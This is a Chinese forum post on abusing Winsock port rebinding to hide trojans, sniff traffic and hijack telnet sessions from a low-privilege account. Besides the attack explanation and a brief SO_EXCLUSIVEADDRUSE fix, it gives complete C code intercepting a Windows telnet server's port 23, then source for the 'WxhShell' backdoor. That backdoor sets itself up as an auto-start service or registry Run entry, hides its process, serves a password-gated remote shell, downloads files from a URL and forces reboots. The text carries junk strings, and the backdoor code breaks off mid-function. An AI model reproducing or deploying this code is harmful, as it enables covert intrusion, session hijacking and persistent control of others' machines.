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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X f!Bsp#\g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _Vj O [hx  
:[|`&_D9J  
  saddr.sin_family = AF_INET; ^?&Jq_oU  
:]=Y1*L\)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -md2Z0^ Kc  
Wq F(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;QREwT~H  
zu^?9k  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?ti7iBz?  
8y~ Jn~t  
  这意味着什么?意味着可以进行如下的攻击: \QHe0?6  
'1=/G7g  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0f;L!.eP  
 @*%Q,$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @Eqc&v!O  
g%1!YvS3v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 91mXvQ:u  
<MA!?7Z|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V{ra,a*  
V*U"OJ%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 DtXXfp@;  
\C/`?"4w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G*\wu&7!  
=h5&\4r=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1K0 9iB  
8T$:^HW  
  #include 3f eI   
  #include OtY.s\m y  
  #include }1z= C<  
  #include    ZV_mP'1*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pc:K5 -Os  
  int main() 0wAZ9AxA{  
  { ruB&&C6)v  
  WORD wVersionRequested; dH#S69>  
  DWORD ret; =qCVy:RL4  
  WSADATA wsaData; [3t N-aj[  
  BOOL val; Drk9F"J  
  SOCKADDR_IN saddr; hY-;Wfg  
  SOCKADDR_IN scaddr; |KplbU0iC  
  int err; H,:Cg:E/^  
  SOCKET s; b;9v.MZ4>g  
  SOCKET sc; *G'zES0x  
  int caddsize; @T?:[nPf&F  
  HANDLE mt; R 4E0avt  
  DWORD tid;   K34ca-~  
  wVersionRequested = MAKEWORD( 2, 2 ); ;# {XNq<1  
  err = WSAStartup( wVersionRequested, &wsaData ); FspI[g UN,  
  if ( err != 0 ) { J);1Tpm  
  printf("error!WSAStartup failed!\n"); (<itE3P  
  return -1; ]/JE#  
  } A9p$5jt7  
  saddr.sin_family = AF_INET; A6q,"BS^d  
   >(`|oD`,Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HP*x?|4  
jR }h3!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); JEU?@J71O  
  saddr.sin_port = htons(23); E)#3*Wlu$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e`<=& w  
  { vyN =X]p  
  printf("error!socket failed!\n"); cV&(L]k>`  
  return -1; Itj|0PGd  
  } .fU qsq  
  val = TRUE; W-7yi`5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #++MoW}'g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u9N?B* &{  
  { Uc<B)7{'  
  printf("error!setsockopt failed!\n"); 0N_Ma')i  
  return -1; P ,xayy  
  } kx]f`b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a!Z,~ V8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .6(Bf$E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?n?Ep[D  
XH1so1h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 04WKAP'c N  
  { qNC.|R  
  ret=GetLastError(); csH1X/3ha\  
  printf("error!bind failed!\n"); qGl+KI  
  return -1; 0 (@8   
  } MfCu\[qOz  
  listen(s,2); [<`xAh_,  
  while(1) v;?t=}NwF  
  { YpL{c*M  
  caddsize = sizeof(scaddr); m-*du(  
  //接受连接请求 uAK-%Uu?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k{y@&QNj  
  if(sc!=INVALID_SOCKET) .;/@k%>   
  { 5W 5\  *L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n#,AZ&  
  if(mt==NULL) Zhz.8W  
  { 7!<cU  
  printf("Thread Creat Failed!\n"); y9Yh%M(  
  break; e,`+6qP{  
  } Z^>3}\_v  
  } wH{lp/  
  CloseHandle(mt); x8b w#  
  } /bfsC& 3  
  closesocket(s); VSmshld  
  WSACleanup(); d[-w&[iy  
  return 0; 1wE~dpnx  
  }   :Oa|&.0l?  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'u_'y  
  { 'S@h._q  
  SOCKET ss = (SOCKET)lpParam; QmbD%kW`3  
  SOCKET sc; b==<7[8  
  unsigned char buf[4096]; Q4CxtY  
  SOCKADDR_IN saddr; q:J,xC_sF(  
  long num; 4=*VXM/  
  DWORD val; NnrX64|0  
  DWORD ret; C Ij3D"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1 /7H` O?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [M Z'i/  
  saddr.sin_family = AF_INET; IUbYw~f3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); + :iNoDz  
  saddr.sin_port = htons(23); :HMnU37m W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A5!f#  
  { 8 yB  
  printf("error!socket failed!\n"); ;u!>( QQ  
  return -1; ran Q_\  
  } l)a]V]oQ  
  val = 100; 6yv*AmFh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t9Pu:B6  
  { ?J%$;"q  
  ret = GetLastError(); %I&Hx<H j  
  return -1; 0)yvyQ5  
  } 0K@s_C=n#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P]j{JL/g&  
  { M:Xswwq  
  ret = GetLastError(); hgfCM  
  return -1; _Bb/~^  
  } **fJAANc  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cl^wLC'o  
  { %]r@vjeyd  
  printf("error!socket connect failed!\n"); xo7H^!_   
  closesocket(sc); oizD:|  
  closesocket(ss); )/Ee#)z*  
  return -1; ?9OiF-:n  
  } e@NS=U` <  
  while(1) 6b6}HO  
  { ;W'y^jp]"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B~jl1g|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l?pZdAE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,DXNq`24  
  num = recv(ss,buf,4096,0); &>*f J  
  if(num>0) &N[~+"  
  send(sc,buf,num,0); 2}b1PMpZG  
  else if(num==0) %RdCSQ9~  
  break; -9.S?N'T>;  
  num = recv(sc,buf,4096,0); V78QV3  
  if(num>0) O}Fp\"  
  send(ss,buf,num,0);  #RbPNVs  
  else if(num==0) '7u#uL,pa1  
  break; $X9-0-  
  } 4g$mz:vo  
  closesocket(ss); =HQH;c"  
  closesocket(sc); aqoT  
  return 0 ; ;ZFn~!V  
  } ZV,n-M =  
HZkC3$  
Ac^}wXp  
========================================================== hg]\~#&-  
N&-d8[~  
下边附上一个代码,,WXhSHELL j42U|CuK  
) e;)9~  
========================================================== `.#e4 FBW  
6^if%62l&  
#include "stdafx.h" *&% kkbA  
8ooj)  
#include <stdio.h> 9"I/jd0B  
#include <string.h> TStu)6%`  
#include <windows.h> TsfOod   
#include <winsock2.h> ]uWx<aD B  
#include <winsvc.h> 6wqq"6w  
#include <urlmon.h> r*p<7  
&t+03c8g!  
#pragma comment (lib, "Ws2_32.lib") w`CGDF\Oo  
#pragma comment (lib, "urlmon.lib") z"Gk K T  
YaFQy0t%/5  
#define MAX_USER   100 // 最大客户端连接数 s@jzu  
#define BUF_SOCK   200 // sock buffer Fwm{oypg%  
#define KEY_BUFF   255 // 输入 buffer =zK7`5  
Y9'Bdm/  
#define REBOOT     0   // 重启 H9x xId?3u  
#define SHUTDOWN   1   // 关机 I,_wt+O&j  
?Q]&d!U Cs  
#define DEF_PORT   5000 // 监听端口 zq8 z#FN  
Q*^zphT  
#define REG_LEN     16   // 注册表键长度 hE/gul?|_  
#define SVC_LEN     80   // NT服务名长度 >(<OhS(  
B&0-~o3WP  
// 从dll定义API =L 7scv%i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8]YFlW9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4["$}O5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); : N>5{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V+nqQ~pJ&  
:05>~bn>pC  
// wxhshell配置信息 k10dkBoEX  
struct WSCFG { pV=X  
  int ws_port;         // 监听端口 s4@AK48  
  char ws_passstr[REG_LEN]; // 口令 :\4?{,@_h  
  int ws_autoins;       // 安装标记, 1=yes 0=no 71z$a  
  char ws_regname[REG_LEN]; // 注册表键名 zEl@jK,{$  
  char ws_svcname[REG_LEN]; // 服务名 (=j]fnH?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !BIq>pO%Ui  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F7E #x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 so9h6K{qcp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W&;X+XA_W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MV-fDqA(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5$`i)}:s  
@-NdgM<  
}; |4\.",Bg  
>/.-N  
// default Wxhshell configuration =4RnXZ[P0  
struct WSCFG wscfg={DEF_PORT, u%Hegqn  
    "xuhuanlingzhe", 6w0/;8(_m  
    1, Z h)Qq?H  
    "Wxhshell", G)?VC^Q  
    "Wxhshell", </5uB' B ^  
            "WxhShell Service", +w?RW^:Q=  
    "Wrsky Windows CmdShell Service", 9F(<n  
    "Please Input Your Password: ", 2ZNTj u7h  
  1, yxf|Njo0  
  "http://www.wrsky.com/wxhshell.exe", ^*C8BzcH  
  "Wxhshell.exe" exiCy 1[+  
    }; 5%rD7/7N  
Eyxw.,rB/  
// 消息定义模块 a<kx95  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .8<bz4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V44IA[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w6F4o;<PR  
char *msg_ws_ext="\n\rExit."; i5T&1W i  
char *msg_ws_end="\n\rQuit."; 1 xm8w$%  
char *msg_ws_boot="\n\rReboot..."; *T$`5|  
char *msg_ws_poff="\n\rShutdown..."; +?),BRCce  
char *msg_ws_down="\n\rSave to "; DB We>Ef(  
? DWF7{1  
char *msg_ws_err="\n\rErr!"; ; dPyhR  
char *msg_ws_ok="\n\rOK!"; ;sE;l7  
)(oRJu)y  
char ExeFile[MAX_PATH]; @SF*Kvb&  
int nUser = 0; 4yV}4f$q  
HANDLE handles[MAX_USER]; ZxlQyr`~a(  
int OsIsNt; f]tc$`vb  
}oIA*:5  
SERVICE_STATUS       serviceStatus; ZZL.&Ho  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QmvhmsDL  
ArDkJ`DE  
// 函数声明 vrXUS9i.  
int Install(void); %G1kkcdH<  
int Uninstall(void); 02g}}{be8  
int DownloadFile(char *sURL, SOCKET wsh); 4nmc(CHQ:  
int Boot(int flag); g""1f%U_p  
void HideProc(void); >V2Tr$m j  
int GetOsVer(void); aze}ko NE  
int Wxhshell(SOCKET wsl); Ms ;:+JI  
void TalkWithClient(void *cs); Z 7rVM   
int CmdShell(SOCKET sock); +!\$SOaR{  
int StartFromService(void); R3`!Xj#&M  
int StartWxhshell(LPSTR lpCmdLine); ne4j_!V{Mf  
2%y}El^+_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EtjN :p|$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _Qs=v0B//  
d/vF^v*o0X  
// 数据结构和表定义 *.#d'~+  
SERVICE_TABLE_ENTRY DispatchTable[] = k_ 9gMO  
{ +@ga  
{wscfg.ws_svcname, NTServiceMain}, CvW*/d q  
{NULL, NULL} e|Rd#  
}; 3qR%Mf'  
9!6sf GZ  
// 自我安装 ;i\m:8!;  
int Install(void) "q5Tw+KCfu  
{ ~W p>tnl  
  char svExeFile[MAX_PATH]; ;N6Euiz  
  HKEY key;  i1v0J->  
  strcpy(svExeFile,ExeFile);  w~wpm7  
n@<+D`[.V  
// 如果是win9x系统,修改注册表设为自启动 'gHa3:US  
if(!OsIsNt) { I&^ B?"Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uO8z.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [1K\ _  
  RegCloseKey(key); _]E H~;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -\O%f)R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H3"90^|,@  
  RegCloseKey(key);  pbM~T(Y8  
  return 0; 1|_jV7`Mz  
    } jHBzZ!<  
  } xPoI+,  
} $Zf hQ5bat  
else { o,dO.isgh>  
Bj5_=oo+d  
// 如果是NT以上系统,安装为系统服务 Y -%g5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M}2a/}4   
if (schSCManager!=0) gM~ dPM|  
{ V+myGsr`  
  SC_HANDLE schService = CreateService ejP273*ah  
  ( 4n_f7'GZg  
  schSCManager, mcvd/  
  wscfg.ws_svcname, D=uU:7m  
  wscfg.ws_svcdisp, EUZ#o\6  
  SERVICE_ALL_ACCESS, (!`TO{!6P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j#mo Vq  
  SERVICE_AUTO_START, 7<;87t]]  
  SERVICE_ERROR_NORMAL, <RH2G   
  svExeFile, / qp)n">  
  NULL, <pJeiMo  
  NULL, %2>ya>/M  
  NULL, YBb%D  
  NULL, @k~'b  
  NULL {+r0Nikx_  
  ); ?hu}wl)  
  if (schService!=0) s @\UZ C  
  { xV@/z5Tq  
  CloseServiceHandle(schService); R3=PV{`M  
  CloseServiceHandle(schSCManager); S?TyC";!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (|H1zO  
  strcat(svExeFile,wscfg.ws_svcname); Qz6Ry\u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qXC>D Gy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &} %rZU  
  RegCloseKey(key); >S/m(98  
  return 0; ?[{_*qh  
    } >(nb8T|  
  } S-@E  
  CloseServiceHandle(schSCManager); ], Xva`"  
} 7J?`gl&C  
} }@JPvI E  
y!JZWq%=  
return 1; v53qpqc  
} Ovu!G q  
rBR,lS$4  
// 自我卸载 eaSf[!24"  
int Uninstall(void) rik-C7  
{  zE$KU$  
  HKEY key; t*X k'(v  
7S+_eL^  
if(!OsIsNt) { h:%L% Y9z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Reci:T(_  
  RegDeleteValue(key,wscfg.ws_regname); a?&{eMEe}  
  RegCloseKey(key); }s i{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hes$LH  
  RegDeleteValue(key,wscfg.ws_regname); ~m4{GzB  
  RegCloseKey(key); ^=kUNyY  
  return 0; ]7W !  
  } W6cA@DN$#  
} aLzRbRv  
} 8&T6  
else { Dxj&9Ra  
h,QC#Ak o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;.Dm?J0  
if (schSCManager!=0) v 809/c*  
{ o1I8l7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L{XNOf3  
  if (schService!=0) u17e  
  { zW[fHa$m  
  if(DeleteService(schService)!=0) { ~%)ug3%e  
  CloseServiceHandle(schService); ibe#Y  
  CloseServiceHandle(schSCManager); Ci{,e%  
  return 0; #|\w\MJamP  
  } Qe8F(k~k  
  CloseServiceHandle(schService); )8ub1,C  
  } x""gZzJ$L  
  CloseServiceHandle(schSCManager); )q xZHV  
} i n}N[  
} `` !BE"yN  
aB@D-Y"HO  
return 1; ib$_x:OO"  
} lN@SfM4\  
RE*;_DF  
// 从指定url下载文件 |"7F`M96I  
int DownloadFile(char *sURL, SOCKET wsh) OB-gH3:  
{ *>b*I4dz  
  HRESULT hr; j2\B(PA  
char seps[]= "/"; urM=l5Sx  
char *token; 1D@'uApi.  
char *file; fcDiYJC*  
char myURL[MAX_PATH]; j A/xe  
char myFILE[MAX_PATH]; TCb 7-s  
_wvSLu<q  
strcpy(myURL,sURL); ^P)W/2  
  token=strtok(myURL,seps); iv3=J   
  while(token!=NULL) Rwu y!F  
  { }V@ * :3w8  
    file=token; 1^F !X=  
  token=strtok(NULL,seps); fU?P__zU4  
  } e15_$M;RW  
.rfKItd  
GetCurrentDirectory(MAX_PATH,myFILE); Z %?: CA  
strcat(myFILE, "\\"); >b6!*Lrhs  
strcat(myFILE, file); T ~=r*4  
  send(wsh,myFILE,strlen(myFILE),0); ?_hKhn%K9  
send(wsh,"...",3,0); A:{PPjs%LA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6 GL.bS  
  if(hr==S_OK) (f Gmjx  
return 0; H);O.m  
else sR(or=ub~  
return 1; m6'VMW  
s"tyCDc.c  
}  12W`7  
>%x N?%  
// 系统电源模块 fMGL1VN  
int Boot(int flag) nu'r `  
{ 1=R6||8ws  
  HANDLE hToken; e|6kgj3/  
  TOKEN_PRIVILEGES tkp; G6l:El&  
e7T}*Up  
  if(OsIsNt) { +`y{r^xD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j=&]=0F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Wc6Jgpl  
    tkp.PrivilegeCount = 1; uv&??F]/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \w;d4r8x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ib8*rL0p<L  
if(flag==REBOOT) { olHT* mr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2hD(zUSy  
  return 0; c/K:`XP~  
} )qyJw N .D  
else { p }p@])}8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :>y?B!=  
  return 0; r4X0. mPY*  
} {Kbb4%P+h  
  } @y"/hh_?  
  else { F_<n8U:Y  
if(flag==REBOOT) { ]2Vu+AP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z$a5vu*pg  
  return 0; E.ugr])  
} bSG}I|  
else { //x^[fkNq)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f1Az|h  
  return 0; G)(vd0X1  
} fu=GgD*  
} qdss(LZ  
O)2==_f\  
return 1; .el&\Jt  
} :NHP,"  
pm)kocG  
// win9x进程隐藏模块 Wqy\yS [  
void HideProc(void) 5c 8tH=  
{ C i?BJ,  
4@qHS0$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E4C yW  
  if ( hKernel != NULL ) ZqONK^  
  { y}\d]*5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hggP9I :s,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zp4aiMn1F  
    FreeLibrary(hKernel); q=,  
  } ,$H[DX  
)\`.Ru~,  
return; bjR:5@"  
} b6]MJ0do  
3dl#:Si  
// 获取操作系统版本 bXiOf#:''  
int GetOsVer(void) k}0Y&cT!rU  
{ ?W27 h  
  OSVERSIONINFO winfo; /s/\5-U7q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |H .  
  GetVersionEx(&winfo); kWSei3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qk+RZ>T<o  
  return 1; ep,"@,,  
  else cZb5h 9  
  return 0; >.xg o6  
} rDD,eNjG  
}ldOxJSB?  
// 客户端句柄模块 w%3*T#tp  
int Wxhshell(SOCKET wsl) &E/0jxM1  
{ ],W/IDv  
  SOCKET wsh; 6T`F'Fk[  
  struct sockaddr_in client; 6r]l8*3 4;  
  DWORD myID; u&E$(  
:j<ij]rsI  
  while(nUser<MAX_USER) T4c]VWtD  
{ +46m~" ]  
  int nSize=sizeof(client); u/ Gk>F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /b;GC-"v  
  if(wsh==INVALID_SOCKET) return 1; 0#/NZO  
U!TSAg21P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); crDm2oA~t  
if(handles[nUser]==0) R(1N]>  
  closesocket(wsh); rLKwuZ  
else ~43T$^<w;  
  nUser++; `[(.Q  
  } .='hYe.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dlf nhf  
_rN1(=J  
  return 0; ;_nV*G.y#^  
} o8ERU($/  
L>ruNw'-K  
// 关闭 socket x%`.L6rj  
void CloseIt(SOCKET wsh) \F;  S  
{ 5bZjW~d  
closesocket(wsh); e,X {.NS  
nUser--; Qt~QJJN?oF  
ExitThread(0); tK0Ksnl^  
} 'CfM'f3uu  
`pJWZ:3  
// 客户端请求句柄 Py! F  
void TalkWithClient(void *cs) Z /*X)mBuB  
{ N t-8[J  
!l7D1i~  
  SOCKET wsh=(SOCKET)cs;  %&81xAt  
  char pwd[SVC_LEN]; 8 Buus  
  char cmd[KEY_BUFF]; M3EB=tU  
char chr[1]; D=!T,p=  
int i,j; l`b%imX  
&UextGk7  
  while (nUser < MAX_USER) { xU LcS :Q  
2@jlF!zC  
if(wscfg.ws_passstr) { M&h`uO/[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DxvD 1u   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JA]qAr  
  //ZeroMemory(pwd,KEY_BUFF); I7-6|J@#^  
      i=0; M~O$ ,dof  
  while(i<SVC_LEN) { +8zC ol?j  
(oG-h"^/  
  // 设置超时  TNj WZ  
  fd_set FdRead; x9qoS)@CM  
  struct timeval TimeOut; $%Kyz\;7/  
  FD_ZERO(&FdRead); `*ml/% \  
  FD_SET(wsh,&FdRead); hlO,mU  
  TimeOut.tv_sec=8; \)/dFo\l  
  TimeOut.tv_usec=0; Od?b(bE.]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Eo@b)h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CW . O"_  
rv2 6vnJy"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n B. u5  
  pwd=chr[0]; B4/\RC2  
  if(chr[0]==0xd || chr[0]==0xa) { sI% =G3o=  
  pwd=0; =JM !`[  
  break; \1H~u,a  
  } (q+EP(Q  
  i++; `/+PZqdC  
    } ?c0@A*:o  
|\# 6?y[o  
  // 如果是非法用户,关闭 socket -6yFE- X/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D/<;9hw  
} 47 |&(,{  
eN Y?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cpJ(77e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sR*.i?lN  
w"/RI#7.  
while(1) { 24 L =v  
,f3Ck*M  
  ZeroMemory(cmd,KEY_BUFF); =(\xe| Q  
](tv`1A,Wd  
      // 自动支持客户端 telnet标准   ecqL;_{o  
  j=0; iI@m e=  
  while(j<KEY_BUFF) { {T(z@0Xu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  0%OV3`  
  cmd[j]=chr[0]; JQde I+  
  if(chr[0]==0xa || chr[0]==0xd) { okSCM#&:[2  
  cmd[j]=0; a?gziCmS?C  
  break; jC3)^E@:"  
  } 8r-'m%l  
  j++; <}z, !w8  
    } ,EuJ0]2  
SBog7An9SI  
  // 下载文件 4.o[:5'  
  if(strstr(cmd,"http://")) { #CcWsI>+w>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :,*{,^2q:  
  if(DownloadFile(cmd,wsh)) k,M %"FLQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |j> fsk~  
  else f!D~aJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'du{ky  
  } U%zZw)  
  else { n>##,o|Vr#  
NUjo5.7  
    switch(cmd[0]) { \Bg?QhA_D  
  B 4my  
  // 帮助 j?gsc Q3  
  case '?': { Q4!6|%n8v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vb1Gz]~)>  
    break; 48t_?2>  
  } =j$!N# L  
  // 安装 %Tvy|L ,  
  case 'i': {  ET:B"  
    if(Install()) !ZC0n`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t w?\bB  
    else 0oU;Cmw.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LI/;`Y=  
    break; gZ&' J\  
    } VsTa!V^~  
  // 卸载 ,^d!K(xb  
  case 'r': { yG%<LP2p@f  
    if(Uninstall()) HaiaDY)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }ki}J>j|f  
    else A\S1{JrR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g#b uy  
    break; VfON{ 1g  
    } cJQ&#u  
  // 显示 wxhshell 所在路径 1-6[KBQ8  
  case 'p': { S`v+rQjW  
    char svExeFile[MAX_PATH]; FaVeP%v  
    strcpy(svExeFile,"\n\r"); gXThdNU4G  
      strcat(svExeFile,ExeFile); o;\c$|TNU  
        send(wsh,svExeFile,strlen(svExeFile),0); {24Y1ohK  
    break; @w]z"UCwV@  
    } DD(K@M  
  // 重启 Xj+oV  
  case 'b': { WUesTA>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RLtIn!2OU  
    if(Boot(REBOOT)) Gi*GFv%xB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wEp*j+Mmce  
    else { mE+  
    closesocket(wsh); Pcox~U/j  
    ExitThread(0); `*to( )  
    } hD I}V 1)  
    break; .)Af&+KT  
    } ( /):  
  // 关机 ``j8T[g  
  case 'd': { `x'vF#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z')zV oW,  
    if(Boot(SHUTDOWN)) /H m), 9NN  
